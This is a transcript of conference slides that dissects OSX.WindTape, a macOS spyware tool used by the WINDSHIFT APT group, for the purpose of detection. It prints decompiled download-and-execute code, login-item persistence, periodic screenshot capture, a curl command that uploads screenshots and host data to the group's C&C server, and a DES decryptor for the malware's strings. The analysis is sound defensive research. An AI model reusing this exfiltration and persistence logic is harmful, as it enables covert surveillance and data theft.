Unmasking WindTape

The offensive macOS cyber capabilities of the WINDSHIFT APT group provide us with the opportunity to gain insight into the Apple-specific approaches employed by an advanced adversary.

In this talk we’ll comprehensively dissect OSX.WindTape, a second-stage tool utilized by the WINDSHIFT APT group when targeting Apple systems.

First we’ll discuss the malware’s anti-analysis mechanisms, and then once these have been thwarted, we’ll explore its capabilities. To conclude, we’ll present heuristic methods that can generically both detect and prevent WindTape, as well as other advanced macOS threats.

Transcript

1. Unmasking WindTape an in-depth analysis of OSX.WindTape
2. WHOAMI Patrick Wardle macOS security tools "The Art of Mac Malware" books "Objective by the Sea" conference Objective-See Foundation, 501(c)(3)
3. Persistence Capabilities OUTLINE } Background Detection OSX/WindTape The approaches, techniques, and tools discussed here, are generically applicable to the analysis of other macOS malware specimens (as well)! an in-depth analysis of OSX/WindTape
4. Background
5. WINDSHIFT APT targeting macOS systems in the middle east "In the Trails of WindShift APT" 
 (T. Karim, Hack in the Box GSEC) Taha Karim 
 (@lordx64) 
 @ Confiant WindShift APT group: "targeted specific individuals working in government departments and critical infrastructure across the Middle East" } WindShift APT toolset: OSX.WindTail 
 (detailed @ VB2019 by P. Wardle) OSX.WindTape
6. WINDSHIFT APT ACTIVITY Unit 42 
 (Palo Alto Networks)
7. INSTALLATION VECTOR ...via OSX/WindTail "[WindTape]: a second stage, downloaded by WINDTAIL" -Taha Network capture of download 
 (image credit: Taha) file: lsd.zip WindTape
8. -(void)sdf { 
 
 //get payload from C&C server 
 rcx = [r15 yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98Zvi...]; 
 fileContents = [NSData dataWithContentsOfURL:[NSURL URLWithString: 
 [NSString stringWithFormat:@"%@%@", rcx, r8] ...]; 
 
 //save 
 [fileContents writeToFile: fileName ...]; 
 
 //extract (via 'ditto') 
 task = [[NSTask alloc] init]; 
 [task setLaunchPath:[var_68 yoop:@"x3EOmwsZL5..."]; 
 
 rdx = [NSArray arrayWithObjects:@"-x", @"-k", ...]; 
 [task setArguments:rdx, ...]; 
 [task launch]; 
 
 //launch payload (e.g. WINDTAPE) 
 bundle = [[NSBundle bundleWithPath:filePath] 
 executablePath]; 
 task = [[NSTask alloc] init]; 
 [task setLaunchPath:bundle]; 
 [task launch]; INSTALLATION VECTOR ...via OSX/WindTail # ./ProcessMonitor 
 event: ES_EVENT_TYPE_NOTIFY_EXEC 
 path: /usr/bin/ditto args: ( "/usr/bin/ditto", "-x", "-k", "~/Library/lsd.zip", "~/Library" ) 
 
 event: ES_EVENT_TYPE_NOTIFY_EXEC path: ~/Library/lsd.app/Contents/macOS/lsd 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 WINDTAIL's download & execute logic
9. Triage ...to gain a basic understanding Want to play along? 
 You can download a sample from: objective-see.org/malware.html
10. THE WINDTAPE SPECIMEN file type & code-signing information lsd.app % codesign -dvvv WindTape/lsd.app/Contents/MacOS/lsd Executable=WindTape/lsd.app/Contents/MacOS/lsd Identifier=lock.com.lsd Format=app bundle with Mach-O thin (x86_64) … 
 TeamIdentifier = 4F9G49SUXB (SHA-256: 7677FA6C8C0739AE3BDD53332DF4F045E273DFE7A1FDDBC32B4FEFC4CAD16ED3) cert: revoked Code signing & file info 
 (via "WhatsYourSign") macOS application Code signing information team id: 4F9G49SUXB, 
 same as other WINDTAIL tools
11. EMBEDDED STRINGS persistence, survey, & connectivity? % strings - lsd.app/Contents/macOS/lsd @_LSSharedFileListCreate @_LSSharedFileListInsertItemURL @_kLSSharedFileListSessionLoginItems … 
 
 UUID hostName 
 processInfo GenrateDeviceName … www.google.com 
 kNetworkReachabilityChangedNotification } Persistence? 
 (via login item) } Host survey? Network connectivity? Embedded strings can reveal functionality/capabilities, 
 ...but should always be confirmed via continued analysis! Embedded strings
12. EMBEDDED STRINGS screenshots, process exec, & encrypted strings? % strings - lsd.app/Contents/macOS/lsd ... 
 
 NSBitmapImageRep TIFFRepresentation %@/%@.jpg 
 … NSTask setLaunchPath: Launch /usr/bin/curl … @_CCCrypt 
 Y7BSwaQM4w5NEdL6+XT8c3PGW107bPJRrtA88GWw rvj4ZHB1O2dsDOkWgMpxDORtBVRxUHnAwQTZogkt PspGjehzc3VLnoU5WNFhPxjmp84gxu/SzOniCw== 
 } Screenshots? Process exec 
 (...process:curl?) Encrypted strings? (more) embedded strings } }
13. CLASS DUMP ...reconstructing classes & methods % class-dump lsd.app/Contents/MacOS/lsd ... 
 
 @interface KSReachability : NSObject 
 + (id)reachabilityToInternet; ... 
 @end 
 
 @interface dyli : NSObject + (id)ded:(id)arg1 key:(id)arg2; + (id)end:(id)arg1 key:(id)arg2; ... 
 @end 
 
 @interface AppDelegate : NSObject 
 - (id)vcc; - (void)namac; ... - (void)scp; - (void)mydel; 
 @end String 
 en/decryption? Main class 
 & its methods? KSReachability (public framework) } } } start reversing here
14. STRING DECRYPTION first, finding the decryption routine Find an encrypted string /* @class AppDelegate */ 
 -(void)mydel { 
 ... 
 r13 = [self env:@"Y7BSwaQM4w5NEdL6+XT8c3PGW107bPJRrxjmp84gxu/SzOniCw=="]; 01 02 03 04 
 Track the method(s) its passed to /* @class AppDelegate */ 
 -(void *)env:(void *)encryptedString { 
 return [dyli ded:encryptedString key:0x000000010000b850]; 
 } 01 02 03 04 
 0x000000010000b850 dq 
 0x00000001000141a0, 
 0x00000000000007d0, 
 0x0000000100009528, 
 
 0x0000000100009528 dw u”Ã#(&KłŽ”, 0 method: "env:" 
 ...passed encrypted string object, with a decryption key? method: "ded: key:" 
 is passed the encrypted string ...& a key !?
15. STRING DECRYPTION reversing the decryption algo → writing a decryptor Identify decryption algorithm (+key) /* @class dyli */ 
 +(void *)ded:(void *)encryptedString key:(void *)decryptionKey { 
 
 rbx = [encryptedString retain]; 
 r14 = [dyli fi:rbx]; 
 rbx = [r14 retain]; 
 var_448 = 0x807060504030201; 
 r12 = [objc_retainAutorelease(decryptionKey) UTF8String]; 
 r15 = objc_retainAutorelease(rbx); 
 r14 = [r15 bytes]; 
 rax = [r15 length]; 
 
 rax = CCCrypt(0x1, 0x1, 0x1, r12, 0x8, &var_448, r14, rax, &var_430, 0x400, &var_438); 01 02 03 04 05 06 07 08 
 09 10 11 12 13 key (passed in) initialization vector (IV) decrypt via 
 DES in CBC mode from base64 import b64decode 
 from Crypto.Cipher import DES 
 
 iv = 0x807060504030201 
 key = bytes('Ã#(&Kł', 'utf-8') 
 
 des = DES.new(key, DES.MODE_CBC, iv.to_bytes(8, 'little')) 
 string = des.decrypt(b64decode(encryptedString)) 01 02 03 04 05 06 07 08 Write a decryptor WindTape 
 string decryptor
16. ...a command & control server, and program paths % python3 decrypt.py Y7BSwaQM4w5NEdL6+XT8c3PGW107bPJRrtA88GWwrvj4ZHB1O2dsDOkWgMpxDORtBVRxUHnAwQTZogktPspGjehzc3VLnoU5WNF hPxjmp84gxu/SzOniCw== 
 
 
 Decrypted string: b'http://string2me.com/ 
 xnrftGrNZlVYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php?rest=%@&xnvk=%@\x01' DECRYPTED STRINGS C&C server (same as WINDTAIL) Other decrypted strings: "jTiOy6PY3...ZDvNsmEG": /usr/sbin/screencapture "ZiNbl+Yb5js=": /bin/sh a core capability?
17. (deeper) Analysis a comprehensive analysis
18. PERSISTENCE ...via login item # ./ProcessMonitor { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "uid" : 501, "arguments" : [ "/bin/sh", "-c", "open -a /Users/user/Library/lsd.app" ], ... } 
 } launch (copy) via open -a Copy to: ~/Library % lldb 
 (lldb) process attach --name lsd --waitfor 
 ... 
 Process 1813 stopped lsd`___lldb_unnamed_symbol74$$lsd: -> 0x10cb1b15a <+167>: callq 0x10cb1da1a 
 ; symbol stub: LSSharedFileListInsertItemURL (lldb) po $r8 
 file:///Users/user/Library/lsd.app Launch copy Persist via login item 
 (LSSharedFileListInsertItemURL) API call path
19. CAPABILITY: SCREEN CAPTURE ...on a (10 second) timer /* @class AppDelegate */ 
 -(void)checklable { 
 
 rax = [[self reachability] reachable]; 
 if (rax != 0x0) 
 rdi = @"YES"; 
 
 rbx = [rdi isEqual:@"YES"]; 
 if (rbx != 0x0) { 
 timer = [NSTimer scheduledTimerWithTimeInterval:*0x100009510 
 target:self selector:@selector(scp) userInfo:0x0 repeats:0x1]; 
 } 01 02 03 04 05 06 07 08 
 09 10 11 12 is connected? 
 (url check: google.com) schedule timer [self scp]; 0x0000000100009510 dq 10.0 time interval 
 (10 seconds)
20. CAPABILITY: SCREEN CAPTURE ...via macOS' /usr/sbin/screencapture /* @class AppDelegate */ 
 -(void)scp { 
 
 r15 = [self env:@"jTiOy6PY3dmphdr1Ps...vNsmEG"]; 
 
 r14 = [[NSDateFormatter alloc] init]; 
 [r14 setDateFormat:@"dd-MM-yyyy HH:mm:ss"]; 
 ... 
 
 r15 = [NSBundle mainBundle]; 
 r14 = [r15 resourcePath]; 
 rbx = [@"" stringByAppendingFormat: 
 @"%@/%@.jpg", r14, r13]; 
 
 r14 = [NSArray arrayWithObjects: 
 @"-x", @"-C", rbx, 0x0]; 
 
 
 rbx = [NSTask launchedTaskWithLaunchPath: 
 r15 arguments:r14]; 
 [rbx waitUntilExit]; 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 16 17 18 
 19 
 20 
 21 decrypts to: 
 /usr/sbin/screencapture # ./ProcessMonitor { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 
 "process" : { 
 "pid" : 1858 
 "path" : "/usr/sbin/screencapture", 
 "arguments" : [ "/usr/sbin/screencapture", "-x", "-C", "~/Library/lsd.app/Contents/ 
 Resources/14-06-2022 06:28:07.jpg" 
 ], "ppid" : 1813 } 
 } output parent: WINDTAPE exec screencapture } build file name scp method
21. CAPABILITY: SCREEN CAPTURE ...image exfiltration via curl /* @class AppDelegate */ 
 -(int)vcc:(void *)screencapture { 
 
 rbx = [[NSImage alloc] initWithContentsOfFile:screencapture]; 
 rax = [rbx TIFFRepresentation]; 
 r12 = [NSBitmapImageRep imageRepWithData:rax]; 
 r14 = [NSNumber numberWithFloat:rax]; 
 rbx = [NSDictionary dictionaryWithObject:r14 forKey:NSImageCompressionFactor]; 
 rbx = [r12 representationUsingType:0x3 properties:rbx]; 
 [rbx writeToFile:screencapture atomically:YES]; 
 
 hostName = [[NSProcessInfo processInfo] hostName]; 
 r15 = [NSString stringWithFormat:@"%@-%@", hostName, NSUserName()]; 
 
 server = [self env:@"Y7BSwaQM4...ORtBVRxUHnAwQTZogktPspGjY48JVcOht1A"]; 
 
 param_screenCapt = [NSString stringWithFormat:@"qwe=@%@", screencapture]; 
 param_UUID = [[NSString stringWithFormat:@"rest=%@", uuid]; 
 param_host_user = [[NSString stringWithFormat:@"fsbd=%@", r15]; 
 
 task = [[NSTask alloc] init]; 
 [task setLaunchPath:@"/usr/bin/curl"]; 
 
 args = [NSArray arrayWithObjects:<args>]; 
 [task setArguments:r12]; 
 
 [task launch]; 01 02 03 04 05 06 07 08 
 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 } compress image decrypt C&C server 
 (http://string2me.com/...) } init exil "args" } exec curl 
 ...with args to exfil (screenshot + survey info)
22. CAPABILITY: SCREEN CAPTURE ...image exfiltration via curl # ./ProcessMonitor { 
 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", 
 "process" : { 
 "pid" : 1881 
 "path" : "/usr/bin/curl", 
 "arguments" : [ "/usr/bin/curl", 
 "http://string2me.com/xnrftGrNZlVYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php", 
 "-F", 
 "qwe=@/Users/user/Library/lsd.app/Contents/Resources/14-06-2022 06:28:07.jpg", 
 "-F", 
 "rest=BBA441FE-7BBB-43C6-9178-851218CFD268", 
 "-F", 
 "fsbd=users-Mac.local-user" 
 ], 
 ... args for curl: 
 server + data to "submit" curl -F: "this lets curl emulate a filled-in form in which a user has pressed the submit button. This causes curl to POST data using the Content-Type multipart/form-data" -curl's man page
23. REMOTE SELF-DELETE "1" Terminate Delete /* @class AppDelegate */ 
 -(void)mydel { 
 ... 
 r14 = [NSFileManager defaultManager]; 
 rdx = [[NSBundle mainBundle] bundlePath]; 
 
 //remove (self) 
 [r14 removeItemAtPath:rdx error:rcx]; 
 
 //terminate (self) 
 [[NSApplication sharedApplication] terminate:0x0 ...]; 01 02 03 04 05 06 07 08 09 10 11 
 http://string2me.com/xnrftGrNZlVYWrkrqSoGzvKgUGpN/ zgrcJOQKgrpkMLZcu.php?rest=%@&xnvk=%@ } Self-delete logic if instructed, will delete (self) and terminate
24. Detection via heuristics
25. DETECTION: PERSISTENCE alert on login item creation (tool: BlockBlock) % lldb 
 (lldb) process attach --name lsd --waitfor 
 ... 
 Process 1813 stopped lsd`___lldb_unnamed_symbol74$$lsd: -> 0x10cb1b15a <+167>: callq 0x10cb1da1a 
 ; symbol stub: LSSharedFileListInsertItemURL (lldb) po $r8 
 file:///Users/user/Library/lsd.app API call path "Block Blocking Login Items" 
 objective-see.com/blog/blog_0x31.html persisted item BlockBlock alert 
 (on login item)
26. DETECTION: NETWORK TRAFFIC alert on unauthorized network traffic (tool: LuLu) WINDTAPE (lsd) curl LuLu alert 
 (on check-in) LuLu alert 
 (on image exfiltration) ...or...
27. (REACTIVE) DETECTION: PERSISTENCE ...via login item enumeration (tool: KnockKnock) persisted login item 
 ( binary: lsd ) enumeration API: 
 LSSharedFileListCopySnapshot KnockKnock
28. THESE TOOLS (& MORE): OBJECTIVE-SEE.ORG ...all free, and open-source! Source Code: https://github.com/objective-see
29. Conclusions + takeaways
30. TAKEAWAYS Studying an APT's macOS tools, provide insights into the Apple-specific approaches employed by advanced adversaries. These analysis approaches, techniques, & tools are 
 applicable to the analysis & detection of other macOS malware. Heuristic methods can (easily) detect WINDTAPE, 
 as well as other macOS threats, ...generically!
31. INTERESTED IN LEARNING MORE? see: "The Art of Mac Malware" book(s) Free (digital): taomm.org 
 For sale (hard copy): amazon, etc...
32. MAHALO! "Friends of Objective-See" Guardian Mobile Firewall SmugMug iVerify Halo Privacy
33. RESOURCES: Unmasking WindTape "In the Trails of WindShift APT" 
 https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20- %20Taha%20Karim.pdf 
 
 "Shifting in the Wind" 
 https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments 
 "Objective-See's Tools" 
 https://objective-see.org 
 "The Art of Mac Malware" 
 https://taomm.org